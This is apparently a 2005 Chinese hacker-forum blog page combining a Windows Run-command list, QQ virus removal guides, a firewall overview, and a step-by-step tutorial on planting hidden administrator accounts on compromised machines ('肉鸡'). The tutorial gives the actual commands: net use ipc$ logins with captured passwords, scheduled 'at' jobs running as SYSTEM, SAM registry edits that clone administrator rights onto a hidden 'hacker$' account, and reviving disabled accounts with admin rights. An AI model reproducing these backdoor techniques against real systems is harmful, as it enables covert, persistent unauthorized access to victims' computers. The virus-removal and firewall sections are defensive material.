黑客[中国]联盟
===========================================================
开始→运行集锦！
===========================================================
开始→运行→输入的命令集锦 mstsc--远程桌面连接 logoff--注销命令 rononce －p --15秒关机 tsshutdn--60秒倒计时关机命令 iexpress--木马捆绑工具，系统自带 tourstart--xp简介（安装完成后出现的漫游xp程序） winchat--XP自带局域网聊天 sndrec32--录音机 Nslookup--IP地址侦测器 explorer--打开资源管理器 lusrmgr.msc--本机用户和组 services.msc－－－本地服务设置 oobe/msoobe /a--检查XP是否激活 notepad--－打开记事本 cleanmgr--**整理 net start messenger--开始信使服务 compmgmt.msc－－－计算机管理 net stop messenger--－停止信使服务 conf----启动 netmeeting dvdplay--－DVD播放器 charmap--－启动字符映射表 diskmgmt.msc－－－磁盘管理实用程序 calc----启动计算器 dfrg.msc--磁盘碎片整理程序 chkdsk.exe--－Chkdsk磁盘检查 devmgmt.msc－－－ 设备管理器 regsvr32 /u *.dll--停止dll文件运行 drwtsn32--－－ 系统医生 rononce －p --15秒关机 dxdiag--－－检查DirectX信息 regedt32--注册表编辑器 Msconfig.exe－－－系统配置实用程序 rsop.msc--组策略结果集 mem.exe--－显示内存使用情况 regedit.exe--注册表 progman--－程序管理器 winmsd--－－系统信息 perfmon.msc--计算机性能监测程序 winver--－－检查Windows版本 sfc /scannow--－扫描错误并复原 taskmgr--－任务管理器（2000／xp／2003） wmimgmt.msc--打开windows管理体系结构(WMI) wupdmgr--－windows更新程序 w脚本--－windows脚本宿主设置 write--－－－写字板 winmsd--－－系统信息 wiaacmgr--扫描仪和照相机向导 mem.exe--－显示内存使用情况 Msconfig.exe－－－系统配置实用程序 mplayer2--简易widnows media player mspaint--－画图板 mplayer2--媒体播放机 magnify--－放大镜实用程序 mmc----－打开控制台 mobsync--－同步命令 dxdiag--－－检查DirectX信息 drwtsn32--－－ 系统医生 devmgmt.msc－－－ 设备管理器 dfrg.msc--磁盘碎片整理程序 diskmgmt.msc－－－磁盘管理实用程序 dcomcnfg--打开系统组件服务 ddeshare--打开DDE共享设置 dvdplay--－DVD播放器 net stop messenger--－停止信使服务 net start messenger--开始信使服务 notepad--－打开记事本 nslookup--网络管理的工具向导 ntbackup--系统备份和还原 narrator--屏幕“讲述人” ntmsmgr.msc--移动存储管理器 ntmsoprq.msc－－－移动存储管理员操作请求 netstat －an--(TC)命令检查接口 syncapp--－创建一个公文包 sysedit--－系统配置编辑器 sigverif--文件签名验证程序 sndrec32--录音机 shrpubw--－创建共享文件夹 secpol.msc--－本地安全策略 syskey--－－系统加密，一旦加密就不能解开，保护windows xp系统的双重密码 services.msc－－－本地服务设置 Sndvol32--音量控制程序 sfc.exe--－系统文件检查器 sfc /scannow－－－windows文件保护 taskmgr--－任务管理器 eventvwr--事件查看器 eudcedit--造字程序 explorer--打开资源管理器 packager--对象包装程序 perfmon.msc--计算机性能监测程序 progman--－程序管理器 regedit.exe--注册表 rsop.msc--组策略结果集 regedt32--注册表编辑器 regsvr32 /u *.dll--停止dll文件运行 regsvr32 /u zipfldr.dll--－－取消ZIP支持 cmd.exe--－CMD命令提示符 chkdsk.exe--－Chkdsk磁盘检查 certmgr.msc--证书管理实用程序 calc----启动计算器 charmap--－启动字符映射表 cliconfg--SQL SERVER 客户端网络实用程序 Clipbrd--－剪贴板查看器 conf----启动netmeeting compmgmt.msc－－－计算机管理 cleanmgr--**整理 ciadv.msc--－－索引服务程序 osk----－打开屏幕键盘 odbcad32--ODBC数据源管理器 oobe/msoobe /a--检查XP是否激活 lusrmgr.msc--本机用户和组 Nslookup--IP地址侦测器 fsmgmt.msc--－共享文件夹管理器 utilman--－辅助工具管理器 gpedit.msc--－组策略
lingsui521 发表于:2005.05.06 22:15 ::分类: ( 实用技术 ) ::阅读:(37771次) :: 评论 (1758)
===========================================================
最新QQ病毒手动杀毒方法
===========================================================
最近老是有朋友。给我说这样那样的Q病毒。自动发送文件的病毒。 这种病毒连独孤剑客的QQ病毒专杀工具都不能解决。因为他不算长驻内存的。 研究了一下，其实也比较简单。 *手动删除病毒* 1.查找进程rundll32.exe k掉 2.如果有 .exe（注意是一个特殊字符不是空格）进程，k掉 3.定位[HKEY_LOCAL_MACHINESOFTWAREClassestxtfileshellopencommand] 改默认键值为 "notepad %1" （注意前面没有那个类似于空格的特殊字符） 4.定位[HKEY_LOCAL_MACHINESOFTWAREClassesexefileshellopencommand] 改默认键值为 "%1" %* （注意前面没有那个类似于空格的特殊字符） 5.定位[HKEY_LOCAL_MACHINESOFTWARETENCENTQQ] 得到你的qq目录，再转到你的qq目录下 可发现 有两个文件 TIMPlatform.exe TIMP1atform.exe (注意是1不是L) 删除TIMPlatform.exe（病毒，为winrar图标），把TIMP1atform.exe改名为TIMPlatform.exe 6.病毒文件删除,下面是要删除的病毒文件（都为winrar图标）,假设windows目录为c:winnt c:winntsystemrundll32.exe c:winntsystem32.exe c:winntsystem32notepad.exe *为你的系统打上此病毒"补丁"* 打此补丁后以后不会再中此病毒 定位注册表项（没有则新建） HKEY_LOCAL_MACHINESOFTWAREClassesMSipv 添加一键值 MainVer 类型为REG_DWORD,值为ffffffff（16进制） 病毒启动判断状态参数完毕后会查询此值，如当前版本值比它小则会弹出个对话框就退出。 我得到的病毒版本值为505
lingsui521 发表于:2005.04.27 20:28 ::分类: ( 实用技术 ) ::阅读:(11290次) :: 评论 (147)
===========================================================
建立隐藏的超级用户多种方法
===========================================================

建立隐藏的超级用户多种方法

作者：黑客基地 | 文章来源：本站原创 | 点击数：1070 | 更新时间：2005-3-26

一、如何在图形界面建立隐藏的超级用户
图形界面下适用本地或开3389终端服务的肉鸡上。上面我提到的那位作者说的方法很好，但是较为复杂，还要用到psu.exe(让程序以系统用户身份运行的程序），如果在肉鸡上的话还要上传psu.exe。我说的这个方法将不用到psu.exe这个程序。因为windows2000有两个注册表编辑器:regedit.exe和regedt32.exe。XP中regedit.exe和regedt32.exe实为一个程序，修改键值的权限时在右键中点"权限"来修改。对regedit.exe我想大家都很熟悉，但却不能对注册表的项键设置权限，而regedt32.exe最大的优点就是能够对注册表的项键设置权限。nt/2000/xp的帐户信息都在注册表的HKEY_LOCAL_MACHINESAMSAM键下，但是除了系统用户SYSTEM外，其它用户都无权查看到里面的信息，因此我首先用regedt32.exe对SAM键为我设置为"完全控制"权限。这样就可以对SAM键内的信息进行读写了了。具体步聚如下：
1、假设我们是以超级用户administrator登录到开有终端服务的肉鸡上的，首先在命令行下或帐户管理器中建立一个帐户:hacker$,这里我在命令行下建立这个帐户
net user hacker$ 1234 /add
2、在开始/运行中输入:regedt32.exe并回车来运行regedt32.exe。
3、点"权限"以后会弹出窗口
点添加将我登录时的帐户添加到安全栏内，这里我是以administrator的身份登录的，所以我就将administrator加入，并设置权限为"完全控制"。这里需要说明一下:最好是添加你登录的帐户或帐户所在的组，切莫修改原有的帐户或组，否则将会带来一系列不必要的问题。等隐藏超级用户建好以，再来这里将你添加的帐户删除即可。
4、再点"开始"→"运行"并输入"regedit.exe" 回车,启动注册表编辑器regedit.exe。
打开键：HKEY_LOCAL_MAICHINESAMSAMDomainsaccountusernameshacker$"
5、将项hacker$、00000409、000001F4导出为hacker.reg、409.reg、1f4.reg，用记事本分别打这几个导出的文件进行编辑，将超级用户对应的项000001F4下的键"F"的值复制，并覆盖hacker$对应的项00000409下的键"F"的值,然后再将00000409.reg与hacker.reg合并。
6、在命令行下执行net user hacker$ /del将用户hacker$删除：net user hacker$ /del
7、在regedit.exe的窗口内按F5刷新，然后打文件-导入注册表文件将修改好的hacker.reg导入注册表即可
8、到此，隐藏的超级用户hacker$已经建好了，然后关闭regedit.exe。在regedt32.exe窗口内把HKEY_LOCAL_MACHINESAMSAM键权限改回原来的样子（只要删除添加的帐户administrator即可）。
9、注意：隐藏的超级用户建好后，在帐户管理器看不到hacker$这个用户，在命令行用"net user"命令也看不到，但是超级用户建立以后，就不能再改密码了，如果用net user命令来改hacker$的密码的话，那么在帐户管理器中将又会看这个隐藏的超级用户了，而且不能删除。

如何在命令行下远程建立隐藏的超级用户
在这里将用at的命令，因为用at产生的计划任务是以系统身份运行的，所以也用不到psu.exe程序。为了能够使用at命令，肉鸡必须开有schedule的服务，如果没有开启，可用流光里带的工具netsvc.exe或sc.exe来远程启动，当然其方法也可以，只要能启动schedule服务就行。
对于命令行方式，你可以采用各种连接方式，如用SQLexec连接MSSQL的1433端口，也可以用telnet服务，只要以你能得到一个cmdshell，并且有运行at命令的权限就可以。
1、首先找到一台肉鸡，至于如何来找那不是我这里所说的话题。这里先假设找到一台超级用户为administrator,密码为12345678的肉鸡，现在我们开始在命令行下远程为它建立隐藏的超级用户。（例子中的主机是我的局域网内的一台主机，我将它的ip地址改为13.50.97.238,，请勿在互联网上对号入座,以免骚扰正常的ip地址。）
2、先与肉鸡建立连接,命令为: net use 13.50.97.238ipc$ "12345678" /user:"administrator
3、用at命令在肉鸡上建立一个用户(如果at服务没有启动，可用小榕的netsvc.exe或sc.exe来远程启动):at 13.50.97.238 12:51
c:winntsystem32net.exe user hacker$ 1234 /add
建立这个加有$符的用户名，是因为加有$符后，命令行下用net user将不显示这个用户，但在帐户管理器却能看到这个用户。
4、同样用at命令导出HKEY_LOCAL_MACHINEsamsamDomainsaccountusers下键值：at 13.50.97.238 12:55
c:winntregedit.exe /e hacker.reg HKEY_LOCAL_MACHINESAMSAMDomainsaccountusers
/e 是regedit.exe的参数，在_LOCAL_MACHINESAMSAMDomainsaccountusers这个键的一定要以结尾。必要的情况下可以用引号将"c:winntregedit.exe /e hacker.reg HKEY_LOCAL_MACHINESAMSAMDomainsaccountusers"引起来。
5、将肉鸡上的hacker.reg下载到本机上用记事本打开进行编辑命令为：copy 13.50.97.238admin$system32hacker.reg
c:hacker.reg
修改的方法图形界中已经介绍过了，这里就不作介绍了。
6、再将编辑好的hacker.reg拷回肉鸡上 copy c:hacker.reg 13.50.97.238admin$system32hacker1.reg
7、查看肉鸡时间：net time 13.50.97.238 然后用at命令将用户hacker$删除:
at 13.50.97.238 13:40 net user hacker$ /del
8、验证hacker$是否删除:用
net use 13.50.97.238 /del 断开与肉鸡的连接。
net use 13.50.97.238ipc$ "1234" /user:"hacker$" 用帐户hacker$与肉鸡连接，不能连接说明已删除。
9、再与肉鸡建立连接：net use 13.50.97.238ipc$ "12345678" /user:"administrator"
再取得肉鸡时间，用at命令将拷回肉鸡的hacker1.reg导入肉鸡注册表:
at 13.50.97.238 13:41 c:winntregedit.exe /s hacker1.reg
regedit.exe的参数/s是指安静模式。
10、再验证hacker$是否已建立，方法同上面验证hacker$是否被删除一样。
11、再验证用户hacker$是否有读、写、删的权限，如果不放心，你还可验证是否能建立其它帐户。
12、通过11可以断定用户hacker$具有超级用户权限，因为最初我用at命令建立它的时候是一个普通用户，而现在却具有远程读、写、删的权限。
三、如果肉鸡没有开3389终端服务，而我又不想用命令行，怎么办？
这种情况下，你也可以用界面方式来远程为肉鸡建立隐藏的超级用户。因为regedit.exe、regedt32.exe都有连接网络注册表的功能，你可以用regedt32.exe来为远程主机的注册表项设置权限，用regedit.exe来编辑远程注册表。帐户管理器也有一项连另一台计算机的功能，你可以用帐户管理器为远程主机建立和删除帐户。具体步聚与上面介绍的相似，我就不多说了，只它的速度实在是令人难以忍受。
但是这里有两个前提：1、先用net use 肉鸡ipipc$ "密码" /user:"超级用户名"来与远程主机建立连接以后，才能用regedit.exe regedt32.exe及帐户管理器与远程主机连接。
2、远程主机必须开启远程注册表服务（没有开启的话，你也可以远程开启，因为你有超级用户的密码了）。
四、利用被禁用的帐户建立隐藏的超级用户：
我们可以用肉鸡上被禁止的用户来建立隐藏的超组用户.方法如下:
1．想办法查看有哪些用户被细心的管理员禁止，一般情况下，有些管理员出于安全考虑，通常会将guest禁用，当然了会禁用其它用户。在图形界面下，非常容易，只要在帐户管理器中就可以看到被禁用的帐户上有一个红叉；而在命令行下，我还没有想到好的办法，只能在命令行下用命令："net user 用户名"一个一个来查看用户是否被禁用。
2．在这里，我们假设用户hacker被管理员禁用。首先，我先用小榕的超组用户克隆程序CA.exe，将被禁用的用户hacker 克隆成超级用户（克隆之后，被禁用的用户hacker就会自动被激活了）: CA.EXE 肉鸡ip Administrator 超级用户密码 hacher hacher密码。
3．如果你现在一个cmdshell，如利用telnet服务或SQLEXEC连接肉鸡的msSQL的默认端口1433得到的shell都可以，这时你只要输入命令：
net user hacker /active:no 这样用户hacker就被禁用了（至少表面上是这样的），当然你也可以将用户hacher换成其它的被禁用的用户。
4．这时如果你在图形界面下看帐户管理器中的用户时,会发现用户hacker被禁用了，但事实上是这样的吗？你用这个被禁用的用户连接一下肉鸡看看是否能连上？用命令：net user 肉鸡ipipc$ "hacker密码" /user:"hacker" 连一连看看。我可以告诉大家，经过我多次试验，次次都能成功，而且还是超级用户权限。
5．如果没有cmdshell怎么办？你可以我上面介绍的at命令来禁用用户hacker;命令格式：at 肉鸡ip 时间 net user hacker /active:no
6．原理：具体的高深的原理我也说不上来，我只能从最简单的说。你先在图形界面下在帐户管理器中禁用一下超级用户administrator看看，肯定会弹出一对话框，并禁止你继续禁用超级用户administrator，同样，因为在克隆时，hacker在注册表的"F"键被超级用户administrator在注册表的"F"键所替代，因而hacker就具有了超级用户的权限了，但是由于hacker在注册表内"C"健还是原来的"C"键，所以hacker还是会被禁用，但是它的超级用户权限却不会被禁用，因此被禁用的用户hacker还是可以连接肉鸡，而且还具有超级用户的权限。具体我也说不明白，大家权且这么理解吧。
五、注意的几点事项：
1、隐藏的超级用户建立以后，在帐户管理器中和命令行下均看不到这个用户，但这个用户却存在。
2、隐藏的超级用户建立以后，就不能再修改密码了，因为一旦修改密码，这个隐藏的超级用户就会暴露在帐户管理器中，而且不能删除。
3、如在本机上试验时，最好用系统自带的备份工具先备份好本机的"系统状态"主要是注册表的备份，因为本人做试验时，曾出现过帐户管理器中看不到任何用户，组中也看不到任何组的现象，但它们却存在。幸好我有备份,呵呵。SAM键是毕竟系统最敏感的部位。
4、本方法在2000/XP上测试通过，未在NT上测试。本方法仅供研究，请勿将本方法用于破坏上，利用本方法造成严重后果者，由使用者负责，本人概不负责。

杂志录入：hackbase    责任编辑：hackbase 

lingsui521 发表于:2005.04.26 21:12 ::分类: ( 实用技术 ) ::阅读:(1008次) :: 评论 (1)
===========================================================
QQ聊天病毒之通杀技法
===========================================================
QQ的广泛使用，使得以QQ为平台的病毒在网络中肆意横行，在下面我就来看看常见的几种QQ病毒的特征及其清除方法。

　　QQ的广泛使用，使得以QQ为平台的病毒在网络中肆意横行，在下面我就来看看常见的几种QQ病毒的特征及其清除方法。

　　小心“武汉男生”木马病毒

　　病毒名称："武汉男生"（Troj_WHBoy）

　　病毒种类：木马

　　感染系统：Windows 95/98/Me/NT/2000/XP

　　病毒特性：

　　该病毒通过聊天软件Oicq进行传播。当计算机被该病毒感染后，用户一旦运行了QQ，病毒就会不断搜寻当前已经打开的QQ"发送消息"窗口，并在找到"发送消息"窗口后，自动发送一条消息到其他用户那里，"我的相片..看看..（某网站网址）"，一旦收到此消息的得用户点击了该网站的链接，就遭受了病毒的感染。

　　病毒运行后在系统目录下生成三个病毒文件，分别为ABCHELP.EXE，WINhelp32.exe和DirectX.exe，其中后2个文件的属性是隐含的。（系统目录在Windows 9x/Me下为C:WindowsSystem，在Windows NT/2000下为 C:WINNTSystem32，在Windows XP下为 C:WindowsSystem32）

　　病毒修改注册表，使病毒能随系统启动而自动运行。

　　在HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun下生成run = "WINhelp32.exe"

　　在HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunServices下生成（default）= "abchelp.exe"

　　广大用户应及时升级杀毒软件，启动"实时监控"系统，在使用OICQ聊天时也要留意，不要轻易打开任何链接，以免遭受病毒的感染。

　　清除病毒的相关操作

　　1、删除病毒在系统目录下释放的病毒文件

　　2、删除病毒在注册表下生成的键值

　　3、运行杀毒软件，对病毒进行全面清除

　　防范病毒使用杀毒软件有五大禁忌

　　（一）忌偷懒不升级

　　（二）忌忽略对邮件的保护

　　（三）忌疏忽设置各项功能

　　（四）忌轻信网络的安全性

　　（五）忌轻视数据备份

爱情森林

爱情森林的清除：

　　(1)先打开任务管理器，结束掉位于下面的那个Explorer进程，然后删除系统目录下的木马程序Explorer.exe。或者重新启动到DOS下到system目录直接删除该木马程序。

　　(2)打开注册表编辑器，删除HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun下名为Explorer的键值。

　　2、变种一的清除：

　　(1)打开任务管理器，结束掉RUNDLL和SYSEDIT32进程。

　　(2)删除系统文件夹(Win9x通常为Windowssystem,WinNt通常为WinNtsystem32)下名为RUNDLL.exe和sysedit32.exe的文件（文件大小为1781752字节）。

　　(3)打开注册表编辑器，删除HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun下名为intarnet=%windowssystem%rundll.exe"的键值。恢复HKEY_CLASSES_ROOTtxtfileshellopencommand的默认键值为Notepad %1。(其中%windowssystem%为Windows的系统文件夹)

　　(4)若根目录下存在文件setup.txt或mima.txt,将其删除。

　　3、变种二的清除：

　　(1)打开任务管理器，结束掉位于下面的那个Explorer进程，然后删除系统目录下的木马程序Explorer.exe。或者重新启动到DOS下到system目录直接删除该木马程序。

　　(2)打开注册表编辑器，删除HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun下名为Explorer的键值。

　　4、变种三的清除：

　　(1)打开任务管理器，结束掉RUNDLL和SYSEDIT32进程。

　　(2)删除系统文件夹(Win9x通常为Windowssystem,WinNt通常为WinNtsystem32)下名为RUNDLL.exe和sysedit32.exe的文件（文件大小为1781752字节）。

　　(3)打开注册表编辑器，删除HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun下名为intarnet=%windowssystem%rundll.exe"的键值。恢复HKEY_CLASSES_ROOTtxtfileshellopencommand的默认键值为Notepad %1。(其中%windowssystem%为Windows的系统文件夹)

　　(4)恢复IE的设置。打开注册表编辑器，恢复HKEY_LOCAL_MACHINESoftwareMicrosoftInternet ExplorerMainStart Page，HKEY_LOCAL_MACHINESoftwareMicrosoftInternet ExplorerMainDefault_Page_URL，HKEY_LOCAL_MACHINESoftwareMicrosoftInternet ExplorerMainLocal Page的设置为原来的内容。

5、变种四的清除：

　　(1)先打开任务管理器，结束掉位于下面的那个Explorer进程，然后删除系统目录下的木马程序Explorer.exe。或者重新启动到DOS下到system目录直接删除该木马程序。

　　(2)打开注册表编辑器，删除HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun下名为Explorer的键值

　　相关杀毒软件下载地址：

　　QQ消息发送机病毒专杀工具

　　http://user.net163.com/piao/down/down.asp?id=962&no=1

　　金山专杀工具的下载

　　http://gz3.duba.net/kpub/source/down.php?id=20

　　SCKISS爱情森林专杀,可以完全查杀全部5个变种

　　_SCKiss.EXE">ftp://gz.duba.net/download/othertools/Duba_SCKiss.EXE

　　“狩猎者”专杀工具

　　http://gz3.duba.net/kpub/source/dow...=gz&t=ftp&id=38

　　删除QQ“缘”病毒

　　平时我很少去看类示的东西，但因为是很要好的朋友所以也觉得挺希奇的然后就点进进入了，进入的画面如下：

　　点击进入后会自动提示下载名为Book.exe的程序。

　　我立即点击"打开"运行了程序，运行后并没有想象中的电子图书出现，而IE又自动打开了两个网页。我马上意识到肯定是一个病毒程序了。

　　之后我点击QQ上的朋友联系，但QQ马上自动发送上面的那段代码。(我晕)而且每当有好友给我发信息系统都会自动回复那段话。(不幸的是我的好几个朋友也由于相信我运行了它).结果招来一堆朋友的臭骂。

　　中招了当然就得修复了，以前也不是没有碰到过这样的事情(IE,启动而被改是常有的事)。可到瑞星，金山下载QQ专用删除工具都无果，使用超级兔子也不行。修改了注册个后重启机器毛病依旧。后来使用了下面的办法将其彻底删除。

　　找到下列文件[假定你系统装在C:][我的系统是Win xp]{建议你在C:盘查找 NotePed.exe 注释: NotePad.exe才是Window文本编辑器}

　　C:windowssystem oteped.exe

　　C:windowssystemTaskmgr.exe

　　C:Windows oteped.exe

　　C:Windwossystem32 oteped.exe

　　删除掉:其中Taskmgr.exe 要先打开"window 任务管理器",选中进程"Taskmgr.exe",杀掉

　　注意:有两个名字叫"Taskmgr.exe"进程,一个是QQ病毒,一个是你刚才打开的"Window 认为管理器"

　　然后到注册表中找到"HKey_Local_MachinesoftwareMicrosoftwindowsCurrentVersionRun"

　　找到"Taskmgr" 删除

　　如果你还不明白那请你先找到那几个文件，然后再按下面的图例操作:

　　1.在任务栏上点击鼠标右键，选择任务管理器

　　2.选择进程里的Taskmgr.exe，但我后来又测试也进行名称不一定是大写的，也有可能是小写，一般排在上面的一个是。

　　3.点击开始-运行，输入Regedit进入注册表

　　4.在注册表中找到 "HKey_Local_MachinesoftwareMicrosoftwindowsCurrentVersionRun，将Taskmgr"项删除"。

　　删除后重启计算机，《缘》QQ病毒宣布彻底删除。

　　另外提醒大家，尽快更新你的IE到IE6 SP1 这样可以减少很多的IE被改机会。



lingsui521 发表于:2005.03.19 01:40 ::分类: ( 实用技术 ) ::阅读:(618次) :: 评论 (0)
===========================================================
再谈防火墙及防火墙的渗透
===========================================================
（一） 防火墙介绍

防火墙是一种功能，它使得内部网络和外部网络或Internet互相隔离，以此来保护内部网络或主机。简单的防火墙可以由Router,3 Layer Switch的ACL（access control list）来充当，也可以用一台主机，甚至是一个子网来实现。复杂的可以购买专门的硬件防火墙或软件防火墙来实现。

防火墙的功能有：
1、过滤掉不安全服务和非法用户
2、控制对特殊站点的访问
3、提供监视Internet安全和预警的方便端点

防火墙并不是万能的，也有很多防火墙无能为力的地方：
1、防火墙防不住绕过防火墙的攻击。比如，防火墙不限制从内部网络到外部网络的连接，那么，一些内部用户可能形成一个直接通往Internet的连接，从而绕过防火墙，造成一个潜在的backdoor.恶意的外部用户直接连接到内部用户的机器上，以这个内部用户的机器为跳板，发起绕过防火墙的不受限制的攻击。
2、防火墙不是防毒墙，不能拦截带病毒的数据在网络之间传播。
3、防火墙对数据驱动式攻击也无能为力。

因此，我们不能过分依赖防火墙。网络的安全是一个整体，并不是有某一样特别出色的配置。网络安全遵循的是“木桶原则”。

一般防火墙具备以下特点：

1、广泛的服务支持：通过将动态的、应用层的过滤能力和认证相结合，可实现WWW浏览器、HTTP服务器、 FTP等；

2、对私有数据的加密支持：保证通过Internet进行虚拟私人网络和商务活动不受损坏；

3、客户端认证只允许指定的用户访问内部网络或选择服务：企业本地网与分支机构、商业伙伴和移动用户间安全通信的附加部分；

4、反欺骗：欺骗是从外部获取网络访问权的常用手段，它使数据包好似来自网络内部。防火墙能监视这样的数据包并能扔掉它们；

5、C/S模式和跨平台支持：能使运行在一平台的管理模块控制运行在另一平台的监视模块。

让我们来看看传统的防火墙工作原理及优缺点：

1．(传统的)包过滤防火墙的工作原理

　　包过滤是在IP层实现的，因此，它可以只用路由器完成。包过滤根据包的源IP地址、目的IP地址、源端口、目的端口及包传递方向等报头信息来判断是否允许包通过。过滤用户定义的内容，如IP地址。其工作原理是系统在网络层检查数据包，与应用层无关，包过滤器的应用非常广泛，因为CPU用来处理包过滤的时间可以忽略不计。而且这种防护措施对用户透明，合法用户在进出网络时，根本感觉不到它的存在，使用起来很方便。这样系统就具有很好的传输性能，易扩展。但是这种防火墙不太安全，因为系统对应用层信息无感知——也就是说，它们不理解通信的内容，不能在用户级别上进行过滤，即不能识别不同的用户和防止IP地址的盗用。如果攻击者把自己主机的IP地址设成一个合法主机的IP地址，就可以很轻易地通过包过滤器，这样更容易被黑客攻破。 基于这种工作机制，包过滤防火墙有以下缺陷：

　　通信信息：包过滤防火墙只能访问部分数据包的头信息；

　　通信和应用状态信息：包过滤防火墙是无状态的，所以它不可能保存来自于通信和应用的状态信息；

　　信息处理：包过滤防火墙处理信息的能力是有限的。

比如针对微软IIS漏洞的Unicode攻击，因为这种攻击是走的防火墙所允许的80端口，而包过滤的防火墙无法对数据包内容进行核查，因此此时防火墙等同于虚设，未打相应patch的提供web服务的系统，即使在防火墙的屏障之后，也会被攻击者轻松拿下超级用户的权限。

包过滤防火墙的缺点和不足，可以在应用层解决。下面我们来看看应用层网关

　　2．应用网关

1、应用代理服务器（Application Gateway Proxy）

在网络应用层提供授权检查及代理服务。当外部某台主机试图访问受保护网络时，必须先在防火墙上经过身份认证。通过身份认证后，防火墙运行一个专门为该网络设计的程序，把外部主机与内部主机连接。在这个过程中，防火墙可以限制用户访问的主机、访问时间及访问的方式。同样，受保护网络内部用户访问外部网时也需先登录到防火墙上，通过验证后，才可访问。

应用网关代理的优点是既可以隐藏内部IP地址，也可以给单个用户授权，即使攻击者盗用了一个合法的IP地址，也通不过严格的身份认证。因此应用网关比报文过滤具有更高的安全性。但是这种认证使得应用网关不透明，用户每次连接都要受到认证，这给用户带来许多不便。这种代理技术需要为每个应用写专门的程序。

2、回路级代理服务器

即通常意义的代理服务器，它适用于多个协议，但不能解释应用协议，需要通过其他方式来获得信息，所以，回路级代理服务器通常要求修改过的用户程序。

套接字服务器（Sockets Server）就是回路级代理服务器。套接字(Sockets)是一种网络应用层的国际标准。当受保护网络客户机需要与外部网交互信息时，在防火墙上的套服务器检查客户的User ID、IP源地址和IP目的地址，经过确认后，套服务器才与外部的服务器建立连接。对用户来说，受保护网与外部网的信息交换是透明的，感觉不到防火墙的存在，那是因为网络用户不需要登录到防火墙上。但是客户端的应用软件必须支持 “Socketsified API”，受保护网络用户访问公共网所使用的IP地址也都是防火墙的IP地址。

3、代管服务器

代管服务器技术是把不安全的服务如FTP、Telnet等放到防火墙上，使它同时充当服务器，对外部的请求作出回答。与应用层代理实现相比，代管服务器技术不必为每种服务专门写程序。而且，受保护网内部用户想对外部网访问时，也需先登录到防火墙上，再向外提出请求，这样从外部网向内就只能看到防火墙，从而隐藏了内部地址，提高了安全性。

4、IP通道（IP Tunnels）

如果一个大公司的两个子公司相隔较远，通过Internet通信。这种情况下，可以采用IP Tunnels来防止Internet上的黑客截取信息，从而在Internet上形成一个虚拟的企业网。

5、网络地址转换器(NAT Network Address Translate)

当受保护网连到Internet上时，受保护网用户若要访问Internet，必须使用一个合法的IP地址。但由于合法Internet IP地址有限，而且受保护网络往往有自己的一套IP地址规划（非正式IP地址）。网络地址转换器就是在防火墙上装一个合法IP地址集。当内部某一用户要访问Internet时，防火墙动态地从地址集中选一个未分配的地址分配给该用户，该用户即可使用这个合法地址进行通信。同时，对于内部的某些服务器如Web服务器，网络地址转换器允许为其分配一个固定的合法地址。外部网络的用户就可通过防火墙来访问内部的服务器。这种技术既缓解了少量的IP地址和大量的主机之间的矛盾，又对外隐藏了内部主机的IP地址，提高了安全性。

6、隔离域名服务器（Split Domain Name Server ）

这种技术是通过防火墙将受保护网络的域名服务器与外部网的域名服务器隔离，使外部网的域名服务器只能看到防火墙的IP地址，无法了解受保护网络的具体情况，这样可以保证受保护网络的IP地址不被外部网络知悉。

7、邮件技术（Mail Forwarding）

当防火墙采用上面所提到的几种技术使得外部网络只知道防火墙的IP地址和域名时，从外部网络发来的邮件，就只能送到防火墙上。这时防火墙对邮件进行检查，只有当发送邮件的源主机是被允许通过的，防火墙才对邮件的目的地址进行转换，送到内部的邮件服务器，由其进行转发。

　　应用网关是检查所有应用层的信息包，并将检查的内容信息放入决策过程，这样安全性有所提高。然而，它们是通过打破客户机/服务器模式实现的，每一个客户机/服务器通信需要两个连接：一个是从客户端到防火墙，另一个是从防火墙到服务器。另外，每一个代理需要一个不同的应用进程，或一个后台运行的服务程序，这样如果有一个新的应用就必须添加对此应用的服务程序，否则不能使用该种服务，可伸缩性差。 基于这种工作机制，应用网关防火墙有以下缺陷：

　　连接限制：每一个服务需要自己的代理，所以可提供的服务数和伸缩性受到限制；

　　技术限制：应用网关不能为UDP、RPC及普通协议族的其他服务提供代理；

　　性能：实现应用网关防火墙牺牲了一些系统性能。


防火墙的体系结构及组合形式

1、屏蔽路由器（Screening Router）

这是防火墙最基本的构件。它可以由厂家专门生产的路由器实现，也可以用主机来实现。屏蔽路由器作为内外连接的唯一通道，要求所有的报文都必须在此通过检查。路由器上可以装基于IP层的报文过滤软件，实现报文过滤功能。许多路由器本身带有报文过滤配置选项，但一般比较简单。

单纯由屏蔽路由器构成的防火墙的危险带包括路由器本身及路由器允许访问的主机。它的缺点是一旦被攻陷后很难发现，而且不能识别不同的用户。

2、双宿主机网关（Dual Homed Gateway）

任何拥有多个接口卡的系统都被称为多宿的，双宿主机网关是用一台装有两块网卡的主机做防火墙。两块网卡各自与受保护网和外部网相连。主机上运行着防火墙软件，可以转发应用程序，提供服务等。

双宿主机网关优于屏蔽路由器的地方是：堡垒主机的系统软件可用于维护系统日志、硬件拷贝日志或远程日志。这对于日后的检查很有用。但这不能帮助网络管理者确认内网中哪些主机可能已被黑客入侵。

双宿主机网关的一个致命弱点是：一旦入侵者侵入堡垒主机并使其只具有路由功能，则任何网上用户均可以随便访问内网。

3、被屏蔽主机网关（Screened Host Gateway）

屏蔽主机网关易于实现也很安全，因此应用广泛。例如，一个分组过滤路由器连接外部网络，同时一个堡垒主机安装在内部网络上，通常在路由器上设立过滤规则，并使这个堡垒主机成为从外部网络唯一可直接到达的主机，这确保了内部网络不受未被授权的外部用户的攻击。

如果受保护网是一个虚拟扩展的本地网，即没有子网和路由器，那么内网的变化不影响堡垒主机和屏蔽路由器的配置。危险带限制在堡垒主机和屏蔽路由器。网关的基本控制策略由安装在上面的软件决定。如果攻击者设法登录到它上面，内网中的其余主机就会受到很大威胁。这与双穴主机网关受攻击时的情形差不多。

4、被屏蔽子网 （Screened Subnet）

